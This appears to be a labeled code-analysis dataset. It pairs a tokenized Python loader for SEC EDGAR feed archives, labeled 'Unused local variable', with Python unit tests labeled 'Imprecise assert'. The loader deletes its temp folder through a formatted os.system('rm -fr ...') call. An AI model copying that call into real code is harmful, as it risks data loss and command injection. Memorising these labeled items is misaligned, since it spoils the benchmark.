[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "sec", "Corre", "spon", "denc", "e", "Loader_", "(_", "model", "Xbrl", "_", ",_", "mapp", "ed", "Uri_", ",_", "filepath_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "mapp", "ed", "Uri_", "._", "startswith_", "(_", "\"", "http", "://", "www", ".", "sec", ".", "gov", "/", "Archive", "s", "/", "edg", "ar", "/", "Feed", "/\"_", ")_", "and_", "\\u\\u\\uNL\\u\\u\\u_", "mapp", "ed", "Uri_", "._", "endswith_", "(_", "\".", "nc", ".", "tar", ".", "gz", "\"_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "daily", " ", "feed", " ", "load", "er", " ", "(", "the", " ", "rs", "s", " ", "object", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rs", "s", "Object_", "=_", "Model", "Rs", "s", "Object_", "(_", "model", "Xbrl", "_", ",_", "uri_", "=_", "mapp", "ed", "Uri_", ",_", "filepath_", "=_", "filepath_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "location", " ", "for", " ", "expand", "ed", " ", "feed", " ", "files_", "\\u\\u\\uNL\\u\\u\\u_", "tempdir_", "=_", "os_", "._", "path_", "._", "join_", "(_", "model", "Xbrl", "_", "._", "model", "Manager_", "._", "cnt", "lr_", "._", "user", "App", "Dir_", ",_", "\"", "tmp", "\"_", ",_", "\"", "edg", "ar", "Feed", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "remove", " ", "prior", " ", "files_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "exists_", "(_", "tempdir_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "\"", "rm", " ", "-", "fr", " ", "{}\"_", "._", "format_", "(_", "tempdir_", ")_", ")_", "#", " ", "rm", "tree", " ", "doe", "s", " ", "not", " ", "work", " ", "with", " ", "this", " ", "many", " ", "files", "!", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "os_", "._", "makedirs_", "(_", "tempdir_", ",_", "exist", "\\u", "ok_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "unta", "r", " ", "to", " ", "/", "temp", "/", "are", "lle", "/", "edg", "ar", "Feed", " ", "for", " ", "faste", "r", " ", "operation_", "\\u\\u\\uNL\\u\\u\\u_", "start", "ed", "At_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model", "Xbrl", "_", "._", "file", "Source_", "._", "open_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model", "Xbrl", "_", "._", "file", "Source_", "._", "fs_", "._", "extracta", "ll_", "(_", "tempdir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model", "Xbrl", "_", "._", "info_", "(_", "\"", "info", "\"_", ",_", "\"", "unta", "r", " ", "edg", "ar", "Feed", " ", "temp", " ", "files", " ", "in", " ", "%", ".2", "f", " ", "sec", "\"_", "%_", "(_", "time_", "._", "time_", "(_", ")_", "-_", "start", "ed", "At_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "model", "Object_", "=_", "model", "Xbrl", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "find", " ", "<", "table", ">", " ", "with", " ", "<", "a", ">", "Down", "load", " ", "in", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "instance", "File_", "in_", "sorted_", "(_", "os_", "._", "listdir_", "(_", "tempdir_", ")_", ")_", ":_", "#", " ", "model", "Xbrl", ".", "file", "Sou", "rce", ".", "dir", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "instance", "File_", "!=_", "\".\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rs", "s", "Object_", "._", "rs", "s", "Items_", "._", "append_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "SEC", "Corre", "spon", "denc", "e", "Item_", "(_", "model", "Xbrl", "_", ",_", "instance", "File_", ",_", "mapp", "ed", "Uri_", "+_", "'/'_", "+_", "instance", "File_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "rs", "s", "Object_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "\"", "rs", "s", "Item", "\"_", "in_", "kwargs_", "and_", "\".", "nc", ".", "tar", ".", "gz", "/\"_", "in_", "mapp", "ed", "Uri_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rs", "s", "Item_", "=_", "kwargs_", "[_", "\"", "rs", "s", "Item", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "=_", "None_", "#", " ", "no", " ", "instance", " ", "information_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "parse", " ", "document_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start", "ed", "At_", "=_", "time_", "._", "time_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file_", ",_", "encoding_", "=_", "model", "Xbrl", "_", "._", "file", "Source_", "._", "file_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "os_", "._", "path_", "._", "join_", "(_", "model", "Xbrl", "_", "._", "model", "Manager_", "._", "cnt", "lr_", "._", "user", "App", "Dir_", ",_", "\"", "tmp", "\"_", ",_", "\"", "edg", "ar", "Feed", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "os_", "._", "path_", "._", "basename_", "(_", "rs", "s", "Item_", "._", "url_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "=_", "file_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "match_", "in_", "re_", "._", "finditer_", "(_", "r", "\"[", "<", "](", "[", "^", ">]", "+)", "[", ">]", "([", "^", "<\\\\", "n", "\\\\", "r", "]*)", "\"_", ",_", "s_", ",_", "re_", "._", "MULTILINE_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tag_", "=_", "match_", "._", "group_", "(_", "1_", ")_", "._", "lower_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "v_", "=_", "match_", "._", "group_", "(_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "tag_", "==_", "\"", "accessi", "on", "-", "number", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "rs", "s", "Item_", "._", "accessi", "on", "Number_", "=_", "v_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "tag_", "==_", "\"", "form", "-", "type", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "rs", "s", "Item_", "._", "form", "Type_", "=_", "v_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "v_", "!=_", "\"", "UPLOAD", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "rs", "s", "Item_", "._", "do", "Not", "Process", "RSS", "item_", "=_", "True_", "#", " ", "skip", " ", "this", " ", "RSS", " ", "item", " ", "in", " ", "validat", "e", " ", "loop", ",", " ", "don", "'", "t", " ", "load", " ", "DB_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "tag_", "==_", "\"", "filing", "-", "date", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "rs", "s", "Item_", "._", "filing", "Date_", "=_", "datetime_", "._", "date_", "(_", "int_", "(_", "v_", "[_", "0_", ":_", "4_", "]_", ")_", ",_", "int_", "(_", "v_", "[_", "4_", ":_", "6_", "]_", ")_", ",_", "int_", "(_", "v_", "[_", "6_", ":_", "8_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "(_", "Value", "Error_", ",_", "Index", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "tag_", "==_", "\"", "conform", "ed", "-", "name", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "rs", "s", "Item_", "._", "compan", "y", "Name_", "=_", "v_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "tag_", "==_", "\"", "ci", "k", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "rs", "s", "Item_", "._", "ci", "k", "Number_", "=_", "v_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "tag_", "==_", "\"", "assign", "ed", "-", "sic", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "rs", "s", "Item_", "._", "assign", "ed", "Si", "c_", "=_", "v_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "tag_", "==_", "\"", "fiscal", "-", "year", "-", "end", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "rs", "s", "Item_", "._", "fiscal", "Year", "End_", "=_", "v_", "[_", "0_", ":_", "2_", "]_", "+_", "'-'_", "+_", "v_", "[_", "2_", ":_", "4_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "(_", "Index", "Error_", ",_", "Type", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "match_", "=_", "re_", "._", "search_", "(_", "\"<", "PD", "F", ">(.", "*)", "</", "PD", "F", ">\"_", ",_", "s_", ",_", "re_", "._", "DOTALL_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "match_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "uu", "_", ",_", "io_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "page", "Text_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "uu", "In_", "=_", "io_", "._", "Byte", "s", "IO_", "(_", "match_", "._", "group_", "(_", "1_", ")_", "._", "encode_", "(_", "encoding_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "uu", "Out_", "=_", "io_", "._", "Byte", "s", "IO_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "uu", "_", "._", "decode_", "(_", "uu", "In_", ",_", "uu", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "py", "Pd", "f_", "import_", "Pd", "f", "File", "Reader_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "uu", "Out_", "._", "seek_", "(_", "0_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pdf", "In_", "=_", "Pd", "f", "File", "Reader_", "(_", "uu", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "page", "Num_", "in_", "range_", "(_", "pdf", "In_", "._", "get", "Num", "Pages_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "page", "Text_", "._", "append_", "(_", "pdf", "In_", "._", "get", "Page_", "(_", "page", "Num_", ")_", "._", "extract", "Text_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "do", " ", "we", " ", "want", " ", "a", " ", "warn", "ing", " ", "here", " ", "tha", "t", " ", "the", " ", "PD", "F", " ", "can", "'", "t", " ", "be", " ", "read", " ", "with", " ", "this", " ", "librar", "y", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "uu", "In_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "uu", "Out_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "=_", "''_", "._", "join_", "(_", "page", "Text_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "match_", "=_", "re_", "._", "search_", "(_", "\"<", "TEXT", ">(.", "*)", "</", "TEXT", ">\"_", ",_", "s_", ",_", "re_", "._", "DOTALL_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "match_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "text_", "=_", "match_", "._", "group_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "(_", "IO", "Error_", ",_", "Environ", "ment", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "#", " ", "give", " ", "up", ",", " ", "no", " ", "instance_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "daily", " ", "rs", "s", " ", "item", " ", "load", "er", ",", " ", "provide", " ", "unp", "opu", "late", "d", " ", "instance", " ", "document", " ", "to", " ", "be", " ", "filled", " ", "in", " ", "by", " ", "Rs", "s", "Item", ".", "Xbrl", ".", "Load", "ed_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "text_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rs", "s", "Item_", "._", "do", "Not", "Process", "RSS", "item_", "=_", "True_", "#", " ", "skip", " ", "this", " ", "RSS", " ", "item", " ", "in", " ", "validat", "e", " ", "loop", ",", " ", "don", "'", "t", " ", "load", " ", "DB_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inst", "Doc_", "=_", "Model", "Document_", "._", "create_", "(_", "model", "Xbrl", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Model", "Document_", "._", "Type_", "._", "Un", "know", "n", "XML_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "rs", "s", "Item_", "._", "url_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "is", "Entry_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "base_", "=_", "''_", ",_", "#", " ", "block", " ", "path", "name", " ", "from", " ", "bec", "omm", "ing", " ", "absolute_", "\\u\\u\\uNL\\u\\u\\u_", "initial", "Xml_", "=_", "'<", "Du", "mm", "y", "Xm", "l", "/>'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "inst", "Doc_", "=_", "Model", "Document_", "._", "create_", "(_", "model", "Xbrl", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Model", "Document_", "._", "Type_", "._", "INSTANCE", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "rs", "s", "Item_", "._", "url_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "is", "Entry_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "base_", "=_", "''_", ",_", "#", " ", "block", " ", "path", "name", " ", "from", " ", "bec", "omm", "ing", " ", "absolute_", "\\u\\u\\uNL\\u\\u\\u_", "initial", "Xml_", "=_", "'''", "\\", "10", ";<", "xbr", "li", ":", "xbr", "l", " ", "xml", "ns", ":", "doc", "=\"", "http", "://", "are", "lle", ".", "org", "/", "doc", "/", "2014", "-0", "1", "-", "3", "1", "\"", " ", "\\", "10", ";", " ", " ", " ", " ", "xml", "ns", ":", "link", "=\"", "http", "://", "www", ".", "xbr", "l", ".", "org", "/", "2003", "/", "link", "base", "\"", " ", "\\", "10", ";", " ", " ", " ", " ", "xml", "ns", ":", "xli", "nk", "=\"", "http", "://", "www", ".", "w3", ".", "org", "/", "1999", "/", "xli", "nk", "\"", " ", "\\", "10", ";", " ", " ", " ", " ", "xml", "ns", ":", "xbr", "li", "=\"", "http", "://", "www", ".", "xbr", "l", ".", "org", "/", "2003", "/", "instance", "\">", "\\", "10", ";", " ", " ", " ", " ", "<", "link", ":", "schema", "Ref", " ", "xli", "nk", ":", "type", "=\"", "simple", "\"", " ", "xli", "nk", ":", "href", "=\"", "http", "://", "are", "lle", ".", "org", "/", "2014", "/", "doc", "-", "2014", "-0", "1", "-", "31.", "xsd", "\"/>", "\\", "10", ";", " ", " ", " ", "<", "xbr", "li", ":", "context", " ", "id", "=\"", "pub", "Date", "\">", "\\", "10", ";", " ", " ", "<", "xbr", "li", ":", "entity", ">", "\\", "10", ";", " ", " ", " ", " ", " ", "<", "xbr", "li", ":", "identifi", "er", " ", "sche", "me", "=\"", "http", "://", "www", ".", "sec", ".", "gov", "/", "CI", "K", "\">", "{", "ci", "k", "}", "</", "xbr", "li", ":", "identifi", "er", ">", "\\", "10", ";", " ", " ", "</", "xbr", "li", ":", "entity", ">", "\\", "10", ";", " ", " ", "<", "xbr", "li", ":", "period", ">", "\\", "10", ";", " ", " ", " ", " ", " ", "<", "xbr", "li", ":", "instant", ">", "{", "pub", "Date", "}", "</", "xbr", "li", ":", "instant", ">", "\\", "10", ";", " ", " ", "</", "xbr", "li", ":", "period", ">", "\\", "10", ";", " ", " ", " ", " ", "</", "xbr", "li", ":", "context", ">", "\\", "10", ";", " ", " ", " ", " ", "<", "doc", ":", "Corre", "spon", "denc", "e", " ", "context", "Ref", "=\"", "pub", "Date", "\">", "{", "text", "}", "</", "doc", ":", "Corre", "spon", "denc", "e", ">", "\\", "10", ";<", "/", "xbr", "li", ":", "xbr", "l", ">", "\\", "10", ";", " ", " ", " ", " ", "'''_", "._", "format_", "(_", "ci", "k_", "=_", "rs", "s", "Item_", "._", "ci", "k", "Number_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "pub", "Date_", "=_", "rs", "s", "Item_", "._", "pub", "Date_", "._", "date_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "text_", "=_", "text_", "._", "strip_", "(_", ")_", "._", "replace_", "(_", "\"&\"_", ",_", "\"&", "amp", ";\"_", ")_", "._", "replace_", "(_", "\"<\"_", ",_", "\"&", "lt", ";\"_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "model", "Xbrl", ".", "info", "(\"", "info", "\",", " ", "\"", "load", "ed", " ", "in", " ", "%", ".2", "f", " ", "sec", "\"", " ", "%", " ", "(", "time", ".", "time", "()", " ", "-", " ", "start", "ed", "At", "),", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "model", "Document", "=", "inst", "Doc", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "inst", "Doc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
psidnell/ofexport/src/test/python/treemodel_test.py
[ { "content": " def test_traverse_list_tasks (self):\n n1 = Task (name=u'n1')\n n2 = Task (name=u'n2')\n nodes = [n1,n2]\n visitor = DemoVisitor ()\n traverse_list (visitor, nodes)\n self.assertEqual(2, len(visitor.tasks_started))\n self.assertTrue(n1 in visitor.tasks_started)\n self.assertTrue(n2 in visitor.tasks_started)\n \n self.assertEqual(2, len(visitor.tasks_ended))\n self.assertTrue(n1 in visitor.tasks_ended)\n self.assertTrue(n2 in visitor.tasks_ended)\n \n self.assertEqual(0, len(visitor.projects_started))\n self.assertEqual(0, len(visitor.folders_started))\n self.assertEqual(0, len(visitor.contexts_started))", "metadata": "root.Test_treemodel.test_traverse_list_tasks", "header": "['class', 'Test_treemodel', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 102 }, { "content": " def test_traverse_list_projects (self):\n n1 = Project (name=u'n1')\n n2 = Project (name=u'n2')\n nodes = [n1,n2]\n visitor = DemoVisitor ()\n traverse_list (visitor, nodes)\n self.assertEqual(2, len(visitor.projects_started))\n self.assertTrue(n1 in visitor.projects_started)\n self.assertTrue(n2 in visitor.projects_started)\n \n self.assertEqual(2, len(visitor.projects_ended))\n self.assertTrue(n1 in visitor.projects_ended)\n self.assertTrue(n2 in visitor.projects_ended)\n \n self.assertEqual(0, len(visitor.tasks_started))\n self.assertEqual(0, len(visitor.folders_started))\n self.assertEqual(0, len(visitor.contexts_started))", "metadata": "root.Test_treemodel.test_traverse_list_projects", "header": "['class', 'Test_treemodel', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 120 }, { "content": " def test_traverse_list_folders (self):\n n1 = Folder (name=u'n1')\n n2 = Folder (name=u'n2')\n nodes = [n1,n2]\n visitor = DemoVisitor ()\n traverse_list (visitor, nodes)\n self.assertEqual(2, len(visitor.folders_started))\n self.assertTrue(n1 in visitor.folders_started)\n self.assertTrue(n2 in visitor.folders_started)\n \n self.assertEqual(2, len(visitor.folders_ended))\n self.assertTrue(n1 in visitor.folders_ended)\n self.assertTrue(n2 in visitor.folders_ended)\n \n self.assertEqual(0, len(visitor.tasks_started))\n self.assertEqual(0, len(visitor.projects_started))\n self.assertEqual(0, len(visitor.contexts_started))", "metadata": "root.Test_treemodel.test_traverse_list_folders", "header": "['class', 'Test_treemodel', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 138 }, { "content": " def test_traverse_list_contexts (self):\n n1 = Context (name=u'n1')\n n2 = Context (name=u'n2')\n nodes = [n1,n2]\n visitor = DemoVisitor ()\n traverse_list (visitor, nodes)\n self.assertEqual(2, len(visitor.contexts_started))\n self.assertTrue(n1 in visitor.contexts_started)\n self.assertTrue(n2 in visitor.contexts_started)\n \n self.assertEqual(2, len(visitor.contexts_ended))\n self.assertTrue(n1 in visitor.contexts_ended)\n self.assertTrue(n2 in visitor.contexts_ended)\n \n self.assertEqual(0, len(visitor.tasks_started))\n self.assertEqual(0, len(visitor.projects_started))\n self.assertEqual(0, len(visitor.folders_started))", "metadata": "root.Test_treemodel.test_traverse_list_contexts", "header": "['class', 'Test_treemodel', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 156 }, { "content": " def test_traverse_task (self):\n parent = Task (name=u'p')\n n1 = Task (name=u'n1')\n n2 = Task (name=u'n2')\n parent.children.append (n1)\n parent.children.append (n2)\n \n visitor = DemoVisitor ()\n traverse (visitor, parent)\n self.assertEqual(3, len(visitor.tasks_started))\n self.assertTrue(parent in visitor.tasks_started)\n self.assertTrue(n1 in visitor.tasks_started)\n self.assertTrue(n2 in visitor.tasks_started)\n \n self.assertEqual(3, len(visitor.tasks_ended))\n self.assertTrue(parent in visitor.tasks_ended)\n self.assertTrue(n1 in visitor.tasks_ended)\n self.assertTrue(n2 in visitor.tasks_ended)", "metadata": "root.Test_treemodel.test_traverse_task", "header": "['class', 'Test_treemodel', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 174 }, { "content": " def test_traverse_project (self):\n parent = Project (name=u'p')\n n1 = Task (name=u'n1')\n n2 = Task (name=u'n2')\n parent.children.append (n1)\n parent.children.append (n2)\n \n visitor = DemoVisitor ()\n traverse (visitor, parent)\n self.assertEqual(2, len(visitor.tasks_started))\n self.assertEqual(1, len(visitor.projects_started))\n self.assertTrue(parent in visitor.projects_started)\n self.assertTrue(n1 in visitor.tasks_started)\n self.assertTrue(n2 in visitor.tasks_started)\n \n self.assertEqual(2, len(visitor.tasks_ended))\n self.assertEqual(1, len(visitor.projects_ended))\n self.assertTrue(parent in visitor.projects_ended)\n self.assertTrue(n1 in visitor.tasks_ended)\n self.assertTrue(n2 in visitor.tasks_ended)", "metadata": "root.Test_treemodel.test_traverse_project", "header": "['class', 'Test_treemodel', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 206 }, { "content": " def test_traverse_context (self):\n parent = Context (name=u'p')\n n1 = Task (name=u'n1')\n n2 = Task (name=u'n2')\n parent.children.append (n1)\n parent.children.append (n2)\n \n visitor = DemoVisitor ()\n traverse (visitor, parent)\n self.assertEqual(2, len(visitor.tasks_started))\n self.assertEqual(1, len(visitor.contexts_started))\n self.assertTrue(parent in visitor.contexts_started)\n self.assertTrue(n1 in visitor.tasks_started)\n self.assertTrue(n2 in visitor.tasks_started)\n \n self.assertEqual(2, len(visitor.tasks_ended))\n self.assertEqual(1, len(visitor.contexts_ended))\n self.assertTrue(parent in visitor.contexts_ended)\n self.assertTrue(n1 in visitor.tasks_ended)\n self.assertTrue(n2 in visitor.tasks_ended)", "metadata": "root.Test_treemodel.test_traverse_context", "header": "['class', 'Test_treemodel', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 242 